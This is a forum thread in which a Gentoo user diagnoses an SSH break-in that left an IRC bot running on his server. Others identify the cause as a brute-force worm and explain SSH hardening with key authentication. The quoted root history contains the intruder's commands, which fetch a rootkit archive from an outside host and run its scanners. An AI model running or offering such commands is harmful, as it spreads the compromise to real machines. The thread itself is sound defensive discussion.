# My system was hacked through ssh!

## zzaappp

Today my system was hacked.  I originally detailed this over in Other things Gentoo, but I'm moving it here.

Here's the original post:

I don't ask this lightly.  I found a program called mech running on my file server, and I my file server running a program I can't even find with locate(1).  

Here's what my processes look like:

```
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND

root         1  0.0  0.1  1548  480 ?        S    Dec08   0:00 init [3]

root         2  0.0  0.0     0    0 ?        SWN  Dec08   0:00 [ksoftirqd/0]

root         3  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [events/0]

root         4  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [khelper]

root         5  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [kthread]

root         7  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [kacpid]

root        77  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [kblockd/0]

root        80  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [khubd]

root       146  0.0  0.0     0    0 ?        SW   Dec08   0:00 [pdflush]

root       147  0.0  0.0     0    0 ?        SW   Dec08   0:00 [pdflush]

root       149  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [aio/0]

root       148  0.0  0.0     0    0 ?        SW   Dec08   0:05 [kswapd0]

root       737  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [kseriod]

root       831  0.0  0.0     0    0 ?        SW<  Dec08   0:00 [ata/0]

root       848  0.0  0.0     0    0 ?        SW   Dec08   0:00 [kjournald]

root       898  0.0  0.1  1552  452 ?        S<   Dec08   0:00 udevd

root      6071  0.0  0.0     0    0 ?        SW   Dec08   0:00 [kjournald]

root      6674  0.0  0.2  1808  584 ?        S    Dec08   0:03 /usr/sbin/syslog-ng

nobody    6755  0.0  0.2  1788  624 ?        S    Dec08   0:00 /usr/sbin/dnsmasq -x /var/run/dnsmasq.pid

root      6922  0.0  0.4  6812 1364 ?        S    Dec08   0:00 /usr/sbin/smbd -D

root      6925  0.0  0.4  3620 1160 ?        S    Dec08   0:00 /usr/sbin/nmbd -D

root      6940  0.0  0.2  6812  700 ?        S    Dec08   0:00 /usr/sbin/smbd -D

root      6960  0.0  0.3  3376  948 ?        S    Dec08   0:03 /usr/sbin/sshd

root      6987  0.0  0.2  1788  604 ?        S    Dec08   0:00 /usr/sbin/cron

root      7024  0.0  0.2  2208  816 ?        S    Dec08   0:00 /usr/sbin/xinetd -pidfile 

root      7035  0.0  0.1  1548  464 tty2     S    Dec08   0:00 /sbin/agetty 38400 tty2 linux

root      7036  0.0  0.1  1544  460 tty3     S    Dec08   0:00 /sbin/agetty 38400 tty3 linux

root      7037  0.0  0.1  1548  460 tty4     S    Dec08   0:00 /sbin/agetty 38400 tty4 linux

root      7038  0.0  0.1  1544  460 tty5     S    Dec08   0:00 /sbin/agetty 38400 tty5 linux

root      7039  0.0  0.1  1544  460 tty6     S    Dec08   0:00 /sbin/agetty 38400 tty6 linux

root      7152  0.0  0.1  1548  464 tty1     S    Dec08   0:00 /sbin/agetty 38400 tty1 linux

root      7537  0.0  0.2  1800  756 ?        S    Dec08   0:01 mech

root      7540  0.0  0.2  1808  776 ?        S    Dec08   0:01 mech

don      23458  0.0  1.0  7584 3116 ?        S    Dec09   0:37 /usr/sbin/smbd -D

root     23528  0.0  1.0  7564 3064 ?        S    Dec09   0:27 /usr/sbin/smbd -D
```

Then I used netstat to see connections:

```

1)~ $ netstat

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State

tcp        0      0 rex:netbios-ssn         asimov:4809             ESTABLISHED

tcp        0      0 rex:ssh                 smitt.ext.com:11118 ESTABLISHED

tcp        0      0 rex:32792               194.134.7.195:6662      ESTABLISHED

tcp        0      0 rex:32779               194.134.7.195:6662      ESTABLISHED

tcp        0      0 rex:ssh                 agrippa:2219            ESTABLISHED

tcp        0      0 rex:33208               unknown.easynews.c:6660 ESTABLISHED

tcp        0      0 rex:34389               unknown.easynews.c:6660 ESTABLISHED

tcp        0      0 rex:netbios-ssn         agrippa:1293            ESTABLISHED

Active UNIX domain sockets (w/o servers)

```

I have NO idea who "unknown.easynews.com" is.

I then did a "killall mech", and netstat changed to show:

```

3)~ $ netstat

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State

tcp        0      0 rex:netbios-ssn         asimov:4809             ESTABLISHED

tcp        0      0 rex:ssh                 smitt.ext.com:11118 ESTABLISHED

tcp        0      0 rex:ssh                 agrippa:2219            ESTABLISHED

tcp        0      0 rex:ssh                 agrippa:2220            ESTABLISHED

tcp        0      0 rex:netbios-ssn         agrippa:1293            ESTABLISHED

Active UNIX domain sockets (w/o servers)

Proto RefCnt Flags       Type       State         I-Node Path

unix  2      [ ]         DGRAM                    1059   @/org/kernel/udev/udevd

unix  3      [ ]         STREAM     CONNECTED     161869 /dev/log

unix  3      [ ]         STREAM     CONNECTED     161868

unix  3      [ ]         STREAM     CONNECTED     12067  /dev/log

unix  3      [ ]         STREAM     CONNECTED     12066

unix  3      [ ]         STREAM     CONNECTED     12000  /dev/log

unix  3      [ ]         STREAM     CONNECTED     11999

unix  3      [ ]         STREAM     CONNECTED     11941  /dev/log

unix  3      [ ]         STREAM     CONNECTED     11940

unix  3      [ ]         STREAM     CONNECTED     11777  /dev/log

unix  3      [ ]         STREAM     CONNECTED     11776

```

Anyone know if I've been hacked?  More important, how can I stop it?  I'm behind a firewall.

-z

----------

## zzaappp

FOLLOW UP:  It was definitely a hack, and they got through my ssh connection, though I'm not sure how.

I checked history for root and here's what they did:

```

  311  w

  312  cd /var/tmp

  313  ps x

  314  cat /proc/cpuinfo

  315  cat /etc/issue

  316  uname -a

  317  wget assasin.xhost.ro/Ciprian.tar.gz

  318  tar -zxvf Ciprian.tar.gz

  319  rm -rf Ciprian.tar.gz

  320  cd cipy

  321  ./cipy 24.185

  322  ./cipy 65.39

  323  export PATH="."

  324  mech

  325  mech

  326  w

  327  cd /var/tmp

  328  cd cs

```

I ran wget assasin.xhost.ro/Ciprian.tar.gz and looked at the contents of the archive...  Looks like some kind of root kit.  

Would love to hear opinions on how they got through ssh on gentoo.

I've taken some precautions, but I'm not sure if it will help or not;  I'd prefer to hear from other people.

----------

## zzaappp

My version of ssh:

 *Quote:*   

> 5)/home/don $ ssh -v
> 
> OpenSSH_4.2p1, OpenSSL 0.9.7c 30 Sep 2003

 

Until a few minutes ago, root was allowed to ssh into the server;  that is now disabled.

Here's the complete sshd_config file

```
#   $OpenBSD: sshd_config,v 1.56 2002/06/20 23:37:12 markus Exp $

# This is the sshd server system-wide configuration file.  See

# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/bin:/usr/bin

# The strategy used for options in the default sshd_config shipped with

# OpenSSH is to specify options with their default value where

# possible, but leave them commented.  Uncommented options change a

# default value.

#Port 22

Protocol 2,1

#ListenAddress 0.0.0.0

#ListenAddress ::

# HostKey for protocol version 1

#HostKey /etc/ssh/ssh_host_key

# HostKeys for protocol version 2

#HostKey /etc/ssh/ssh_host_rsa_key

#HostKey /etc/ssh/ssh_host_dsa_key

# Lifetime and size of ephemeral version 1 server key

#KeyRegenerationInterval 3600

#ServerKeyBits 768

# Logging

#obsoletes QuietMode and FascistLogging

#SyslogFacility AUTH

SyslogFacility AUTHPRIV

#LogLevel INFO

# Authentication:

#LoginGraceTime 600

PermitRootLogin no

StrictModes no

#RSAAuthentication yes

#PubkeyAuthentication yes

#AuthorizedKeysFile   .ssh/authorized_keys

# rhosts authentication should not be used

#RhostsAuthentication no

# Don't read the user's ~/.rhosts and ~/.shosts files

#IgnoreRhosts yes

# For this to work you will also need host keys in /etc/ssh/ssh_known_hosts

#RhostsRSAAuthentication no

# similar for protocol version 2

#HostbasedAuthentication no

# Change to yes if you don't trust ~/.ssh/known_hosts for

# RhostsRSAAuthentication and HostbasedAuthentication

#IgnoreUserKnownHosts no

# To disable tunneled clear text passwords, change to no here!

#PasswordAuthentication yes

#PermitEmptyPasswords no

# Change to no to disable s/key passwords

#ChallengeResponseAuthentication yes

# Kerberos options

#KerberosAuthentication no

#KerberosOrLocalPasswd yes

#KerberosTicketCleanup yes

#AFSTokenPassing no

UsePrivilegeSeparation no

# Kerberos TGT Passing only works with the AFS kaserver

#KerberosTgtPassing no

# Set this to 'yes' to enable PAM keyboard-interactive authentication 

# Warning: enabling this may bypass the setting of 'PasswordAuthentication'

#PAMAuthenticationViaKbdInt yes

#X11Forwarding no

X11Forwarding yes

#X11DisplayOffset 10

#X11UseLocalhost yes

#PrintMotd yes

#PrintLastLog yes

#KeepAlive yes

#UseLogin no

#UsePrivilegeSeparation yes

#Compression yes

#MaxStartups 10

# no default banner path

#Banner /some/path

#VerifyReverseMapping no

# override default of no subsystems

#Subsystem   sftp   /usr/libexec/openssh/sftp-server

Subsystem   sftp   /usr/lib/misc/sftp-server

```

----------

## mordredP

edit: i just did not see the sshd config.. too bad..  :Very Happy: 

----------

## tuxmin

You have linked openssh against a vulnerable version of openssl. Maybe that's the weak point?

Why are you so sure it was sshd they came in through. You have running xinetd and samba, too.

Read here for more information:

http://www.openssl.org/news/

Please keep us informed if you have new insights.

Regards and good luck, 

alex

EDIT: I ran nmap on unknown.easynews.com with the following result:

```

sh-3.00# nmap  unknown.easynews.com -p 6660

Starting nmap 3.83.DC13 ( http://www.insecure.org/nmap/ ) at 2005-12-10 20:39 CET

Interesting ports on www.easynews.com (140.99.99.90):

PORT     STATE    SERVICE

6660/tcp filtered unknown

Nmap finished: 1 IP address (1 host up) scanned in 2.912 seconds

```

So this port isn't open, at least not for any address. Maybe theres some portknocking involved?

This one is more üpromising:

```

sh-3.00# nmap  -P0  194.134.7.195 -p 6662

Starting nmap 3.83.DC13 ( http://www.insecure.org/nmap/ ) at 2005-12-10 20:49 CET

Interesting ports on 194.134.7.195:

PORT     STATE SERVICE

6662/tcp open  unknown

Nmap finished: 1 IP address (1 host up) scanned in 0.086 seconds

```

To me this looks like an IRC server

```

telnet 194.134.7.195 6662

Trying 194.134.7.195...

Connected to 194.134.7.195.

Escape character is '^]'.

NOTICE AUTH :*** Looking up your hostname

NOTICE AUTH :*** Checking Ident

NOTICE AUTH :*** Found your hostname

NOTICE AUTH :*** Got ident response

help

:Amsterdam2.NL.EU.undernet.org 451 *  :Register first.

```

meaning mech is some kind of IRC bot. Probably with the ability to remotecontrol your box.

----------

## GentooBox

the files in the archive:

cipy

common

gen-pass.sh

go.sh

pass_file

pscan2

ss

ssh-scan

vuln.txt

Its a worm that spreads with weak SSH accounts. it uses ssh-scan to find ssh accounts and then brute-force them with the wordlists common and pass_file.

Use strong passwords, shut down root logins and swich to key auth instead of password auth.

----------

## zzaappp

Ok, security isn't my strong point, I admit it.  

Here is what my USE flags have looked like since around 2003: 

 *Quote:*   

> USE="mmx sse gtk gnome qt kde alsa cdr fvwm -ssl -ldap"

 

Yes, I turned off ssl and ldap because they were a pain in the backside when it came to telnet.  But I don't use telnet anymore, though rsh/rexec are still enabled in xinetd.  Plus I don't think I've ever emerge'd openssl.

HOWEVER: I have a hardware firewall that only opens the ssh port to the outer world, and port-maps ssh service to the machine that got hacked, so even though the other services are there, they are not accessable from outside the LAN (ahem, provided I have my firewall correctly configured).

I scanned over the  /var/log/messages file for successful logins.  The only root logins since March 2005 came on Dec 8 (couple days ago), so this looks to be it.

Anyway, is there a cheat-sheet on how to get better security out of ssh on gentoo?  

-z

----------

## think4urs11

 *zzaappp wrote:*   

> Anyway, is there a cheat-sheet on how to get better security out of ssh on gentoo?

 

Searching for this one?   :Arrow:  http://www.gentoo.org/doc/en/security/security-handbook.xml?part=1&chap=10#doc_chap11

----------

## Gentree

 *Quote:*   

> Ok, security isn't my strong point, I admit it.

 

So what *WAS* your root password   :Wink:  (I'm assuming you've changed it now!)

It seems very likely that you were just password guessed, it's not the fault of ssh , gentoo or the firewall config.

The last time I saw a post like this the guy had setup something dumb like user=guest pw= guest while installing (god knows why) and then was careless enough to forget about it.

I tell you with the new flux of -ex windows users piling onto  Linux we'll be the same mess as Winworld within a year.   :Crying or Very sad: 

----------

## Po0ky

You migth wanna use the cracklibs to make sure you have a strong password... 

or just get john the ripper and let it run over your existing passwords, i believe there's a cron-script in the examples folder to do it regulary

----------

## humbletech99

heh heh, I hear ya Gentree...

yeah, i read that post, laughed my ass off. The guy had a user account of test with a password of test for 3 years! But also some of the posts were pretty funny too, I liked:

bcore wrote: *Quote:*   

> I definitely don't think I was up against anyone with skill, so if I had been properly prepared I would have had nothning to worry about..

 

which triggered:

tomchuk wrote: *Quote:*   

> Well he definately wasn't up against anyone with skill 

 

Lol   :Laughing: 

----------

## MindBlaster

While we are talking about hijacking computers, theres an exploit in older versions of phpBB that allows the user to take control of your computer (a.k.a Piggieback). I ran into that problem and I found that they got access to the apache account in my system.

But since the apache account does not have access to anything, so they just dropped a mech-bot and two other bots in /tmp and /var/tmp.

The bots try to connect to IRC servers and perhaps used together as a massive DoS attack? Who knows..

But if you run phpBB forums on your computer(s) that hasn't been updated for a while, perhaps it is time now.

Thats my experience   :Shocked: 

----------

## yottabit

As soon as I saw this little ssh cracking program hitting my server with common usernames & passwords I went ahead and turned on public-key authentication and turned off password authentication (don't forget to disable PAM in the sshd_config too).

I already had root logins disabled, and I know my passwords were secure, however I know some of my users' are not quite so good with their passwords...  :Wink: 

So I just put a banner up telling them that password logins were now disabled and users must use public key auth. After a couple of whiners I've had no probs.  :Wink: 

----------

## BigTrucK

After reading about what happened to the author I decided to strengthen my ssh security as well.  

In doing so I tried following the guide posted above (http://www.gentoo.org/doc/en/security/security-handbook.xml?part=1&chap=10#doc_chap11) and now I cannot log in.

My question is after you create the key pairs where do they go?

 *Quote:*   

> Add the key to the users home directory in ~/.ssh/authorized_keys and the user should be able to login.

 

I created the authorized_keys dir and put the *.pub key in there, but I left the private key alone.  Am I supposed to put it somewhere else?

I use putty to log in so maybe there is a setting there I am missing?

----------

## yottabit

Good effort, but you misunderstood something. Granted I haven't read that guide so maybe it's just bad wording...

~/.ssh/authorized_keys is a file, not a dir.  :Wink:  Open it with your fave text editor and paste in your public key.

Then in your SSH client specify the private key in its config. (I'm assuming you're using either PuTTY or SSH Suite. In PuTTY it's in the session config under Connection -> SSH -> Auth. In SSH Suite it's somewhere more convoluted, heheh.)

With OpenSSH, from man ssh: *Quote:*   

> ssh implements the RSA authentication protocol automatically.  The user creates his/her RSA key pair by running ssh-keygen(1).  This stores the private key in ~/.ssh/identity and stores the public key in ~/.ssh/identity.pub in the user's home directory.  The user should then copy the identity.pub to ~/.ssh/authorized_keys in his/her home directory on the remote machine (the authorized_keys file corresponds to the conventional ~/.rhosts file, and has one key per line, though the lines can be very long).  After this, the user can log in without giving the password.

 

With other clients, YMMV.  :Smile: 

Oh, and file/dir perms can be a big source of frustration. To make sure it works for you, on the box you're trying to setup pub-key auth into, make sure your .ssh dir is chown to your username, and perms set to 700. For authorized_keys file, make sure it's chown to your username and perms set to 600. (Hint: man chown and man chmod.  :Smile:  )

Enjoy!

J

----------

## BigTrucK

Nice.... gonna give it a shot!  Thx...

(sorry if this skewed the intent of the original post)

----------

